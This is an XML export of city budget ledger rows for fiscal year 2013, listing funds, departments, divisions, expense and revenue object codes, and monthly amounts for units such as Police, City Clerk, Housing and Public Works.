<row _id="395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7005.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7005.0</total></row>
<row _id="396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>163325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>163325.0</total></row>
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<row _id="398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15467.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15467.0</total></row>
<row _id="399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401650.0</object><object_description>SEWER SERVICE CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-18321194.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18321194.0</total></row>
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<row _id="402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6146.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6146.0</total></row>
<row _id="403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>850000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>850000.0</total></row>
<row _id="405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5892.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>59</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5951.0</total></row>
<row _id="408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>12</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1212.0</total></row>
<row _id="410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>54808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-51145</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3663.0</total></row>
<row _id="411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>401190.0</object><object_description>CDBG PR YR ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1026939.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1026939.0</total></row>
<row _id="412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400870.0</object><object_description>LEASE RENTAL REVENUE-DOWNTOWN</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-343674.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-343674.0</total></row>
<row _id="413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401550.0</object><object_description>MAP/CODE/SPECIFICATIONS SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1168.0</total></row>
<row _id="414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401460.0</object><object_description>POLICE SERV-FINGERPRINTING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-73501.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-73501.0</total></row>
<row _id="415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405300.0</object><object_description>DUI RESPONSE-ACCIDENT/INJURY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-27358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27358.0</total></row>
<row _id="416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1833.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1851.0</total></row>
<row _id="417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>76777.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>76777.0</total></row>
<row _id="418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5330.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5330.0</total></row>
<row _id="419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11944.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11944.0</total></row>
<row _id="421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>119901.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>119901.0</total></row>
<row _id="422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-382.6</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-382.6</total></row>
<row _id="423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>91903.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>91903.0</total></row>
<row _id="426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>135000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6969.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6969.0</total></row>
<row _id="428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>302563.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3026</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>305589.0</total></row>
<row _id="432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1530.0</total></row>
<row _id="433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>87500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87500.0</total></row>
<row _id="434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-2200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2200.0</total></row>
<row _id="435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400810.0</object><object_description>PEACE OFFICERS TRAINING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-107100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-107100.0</total></row>
<row _id="436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405810.0</object><object_description>COPS - PER CAPITA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-120000.0</total></row>
<row _id="437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400230.0</object><object_description>CONDOMINIUM TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-25500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25500.0</total></row>
<row _id="438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400510.0</object><object_description>PLAN CHECK FEES-BLDG &amp; SAFETY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2419000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2419000.0</total></row>
<row _id="439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1015.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1015.0</total></row>
<row _id="440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1333051.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-151488</february><march>0.0</march><april>25117</april><may>0</may><june>0.0</june><total>1206680.0</total></row>
<row _id="443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566470.0</object><object_description>TRAFFIC SIGNAL MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>117400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>117400.0</total></row>
